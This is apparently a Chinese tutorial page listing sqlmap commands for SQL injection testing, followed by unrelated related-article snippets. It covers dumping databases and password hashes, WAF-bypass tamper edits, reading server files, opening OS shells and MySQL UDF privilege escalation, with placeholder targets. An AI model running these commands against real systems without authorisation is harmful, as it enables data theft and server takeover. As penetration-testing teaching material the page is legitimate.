sqlmap实战-1

检测和利用sql注入

python2 sqlmap.py -u "[URL_SQL注入点]" [--batch]

--batch:自动选择sqlmap默认的选择

寻找目标

直接连接数据库

python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users

数据库操作参数:

--dbs:列举数据库信息

--current-db:当前数据库名

--current-user:当前数据库用户

--users:列举DBMS中所有用户

--passwords:列举DBMA中所有账户和密码

-D [databases] …:指定数据库名,对库进行操作

-T [tables]:指定数据表,对表进行操作

-C [columns]:指定列名,对列进行操作

--tables:列举数据库表的信息

--columns:列举数据表的列名信息

--schema:枚举数据库结构

--count:枚举数据包的项目数

-D/-T/-C/--dbs/--tables/--columns/--schema/--count

联合操作就可以实现对数据库的具体操作

#列举库中的所有表:
-D [库名] --tables
#列举表中的字段名:
-D [库名] -T [表名] --columns

--dump:导出数据

--start:指定开始的行

--stop:指定结束的行

# 导出当前全部的数据表数据
-D [库名] -T [表名] -C [字段名] --count --dump
# 导出部分(范围)数据表数据
-D [库名] -T [表名] -C [字段名] --start {*} --stop {*} --dump

sqlmap技巧

利用注释的方法绕过waf注入

/tamper/halfversionecdmoreckeywords.py:

return match.group().replace(word, "/*!0%s" % word)
# 修改
return match.group().replace(word,"/*!50000%s*/" % word)

/xml/queries.xml:

<cast query="CAST(%s AS CHAR)"/>
<!--修改-->
<cast query="CAST(%s, CHAR)"/>

sqlmap实施注入:

sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py

sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

URL重写SQL注入测试

value1为测试参数,加*符号即可,sqlmap将会测试value1位置是否可以注入

列举并破解密码hash

当用户可以有权限查看用户密码的时候,--password会自动连接并破解hash返回结果

对目标进行爬取

--batch --crawl=3 从目标URL爬取网站

使用hex规避编码导致丢失

sqlmap.py -u [url] --banner --hex -v 3 --parse-errors

--parse-errors:解析和显示响应数据库错误信息

模仿移动端访问目标

sqlmap.py -u [url] --banner --mobile

--mobile:设定一个移动端的“User-Agent”模仿手机访问URL

智能判断测试

sqlmap.py -u [url] --bath --smart

--smart:快速判断 为报错注入点进行注入

结合Burp进行注入测试

在Burp——Options——"proxy.Requests"中保存Burp的抓包记录

sqlmap.py -r burp***.txt

从抓包记录中加载HTTP请求

sqlmap.py -u [url] --data "[*……*]"

自动填写表单

sqlmap.py -u [url] --forms [……]

--forms:解析和测试目标URL表单

读取Linux的文件

sqlmap.py -u [url] --file [url]

延时注入

sqlmap.py -u [url] --technique -T --current-user
sqlmap.py -u [url] --delay 0.5
sqlmap.py -u [url] --safe-freq # 请求两次

Burp抓包利用sqlmap注入

sqlmap.py -r ***.txt -p [需要注入的参数]

-p:指定注入参数

sqlmap Cookies注入

默认情况下,sqlmap只支持get/post参数的注入,使用-level参数且数值大于等于2就会检测cookie参数,大概大于3时检查User-Agent和Referer

sqlmap.py -u [url] --cookie [value] --level 3
sqlmap.py -u [url] --cookie [value] --level 3 --tables
sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
……

MySQL提权

连接并打开一个交互shell

sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell

上传lib_mysqludf_sys到plugin目录

sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
--file-write=

执行shell命令

sqlmap.py -u [url] --os-cmd=[^] #执行cmd命令(Win环境)
sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell

sqlmap实战-1的更多相关文章

  1. sqlmap 实战漏洞平台dvwa进行密码破解

    2016-05-24 (1)实验的具体的环境极其思路 首先我们要检测我们的漏洞平台是否有sql注入 ,进行简单的测试发现在用户userid 上存在注入的漏洞 使用抓包工具对其cookie 进行获取如下 ...

  2. kali安全工具

    http://www.kali.org.cn/ Kali linux下载安装 (27) kali linux是backtrack的最新代号,或者叫新版本的backtrack,欢迎下载使用. 908 / ...

  3. Web安全工程师(进阶)课程表

    01-SQL注入漏洞原理与利用 预备知识: 了解HTTP协议,了解常见的数据库.脚本语言.中间件.具备基本的编程语言基础. 授课大纲: 第一章:SQL注入基础 1.1 Web应用架构分析1.2 SQL ...

  4. Web安全攻防(简)学习笔记

    Web安全攻防-学习笔记 本文属于一种总结性的学习笔记,内容许多都早先发布独立的文章,可以通过分类标签进行查看 信息收集 信息收集是渗透测试全过程的第一步,针对渗透目标进行最大程度的信息收集,遵随&q ...

  5. sqlmap注入工具----一次简单的注入(实战)

    最近在学习网络安全,挖洞避免不了要使用许多工具,使用著名注入工具sqlmap的时候,对于英语不怎么好的我就比较难受了,本来就不会使用,加之又是英语的,简直难受.上网找了好多详细教程,但是命令实在是太多 ...

  6. sqlmap+DWAV测试实战(一)

    root@kali-yaming:~# sqlmap -u "http://172.18.225.39/vulnerabilities/sqli/?id=1&Submit=Submi ...

  7. 使用sqlmap对进行php+mysql注入实战

    作者:陈小兵一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限 ...

  8. 【实战】sqlmap显示有注入却无法爆出库名

    sqlmap爆mssql数据库时采用的语句如下图: 从语句中不难看出,如果关键字select被“(非tamper绕过)处理”了,那sqlmap是无法爆出数据库的,这时我们可以使用原始的猜解法, #判断 ...

  9. sqlmap连接Mysql实现getshell(原创)

    前言 昨天群友发了一知乎的帖子..才发现sqlmap玩了那么久有些玩意我居然没玩过...然后看着群友玩= =今天也想试试. 0x01 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. ...

随机推荐

  1. Intro to Machine Learning

    本节主要用于机器学习入门,介绍两个简单的分类模型: 决策树和随机森林 不涉及内部原理,仅仅介绍基础的调用方法 1. How Models Work 以简单的决策树为例 This step of cap ...

  2. springcloud(四):应用配置中心config的安全设置

    springcloud应用配置中心config的安全设置 在springcloud应用开发中,为了方便在线管理我们的配置文件,通常会配一个配置中心config-server,这里托管着应用的一些配置文 ...

  3. PathMarker:命令行快速编辑跳转工具(配合git,find等)

    简介 当使用git, find等工具时,一般需要进一步打开文件或跳转目录. 通常的做法是使用鼠标复制黏贴,或者手工输入. PathMarker提供一种快速通过标号,编辑相关文件,跳转相关目录的方法,提 ...

  4. 由于找不到opencv_world***d.dl,无法继续执行代码。重新安装程序可能会解决此问题。关于opencv使用imshow函数闪退解决方法等问题

    1.将缺失的文件放到程序根目录的debug中 2.将Debug x64下的附加依赖项改为只有后缀为d.lib的那个库文件,去除另一个,问题就这么解决了,虽然我也不知道加上另一个为什么就会闪退

  5. Java第三次作业第二题

    2. [请复制本程序,作为java程序代码,进行编译,补充填写缺失代码部分,并实现题目要求功能,从而获得空白填写所需的内容.] 定义3个线程,模拟红绿灯的效果 一个线程控制画一个实心红圆 一个线程控制 ...

  6. (七十一)c#Winform自定义控件-折现图

    前提 入行已经7,8年了,一直想做一套漂亮点的自定义控件,于是就有了本系列文章. GitHub:https://github.com/kwwwvagaa/NetWinformControl 码云:ht ...

  7. 使用 Nginx 部署前后端分离项目,解决跨域问题

    前后端分离这个问题其实松哥和大家聊过很多了,上周松哥把自己的两个开源项目部署在服务器上以帮助大家可以快速在线预览(喜大普奔,两个开源的 Spring Boot + Vue 前后端分离项目可以在线体验了 ...

  8. [Spark] 07 - Spark Streaming Programming

    Streaming programming 一.编程套路 编写Streaming程序的套路 创建DStream,也就定义了输入源. 对DStream进行一些 “转换操作” 和 "输出操作&q ...

  9. Node 与JS的区别

    1.nodejs是运行于服务器端的:2.global:代表node当中的一个全局对象,类似于浏览器当中的window,定义全局对象:global.a:3.作用域:nodejs中一个文件就是一个作用域: ...

  10. selenium--定位--CSS

    大家在使用selenium元素定位的时候,通常更多使用的是XPATH,css定位方式用得比较少 但有时候css定位方式还是有一些优势的, 优势1:一般情况下定位速度要比XPATH快 优势2:语法要比X ...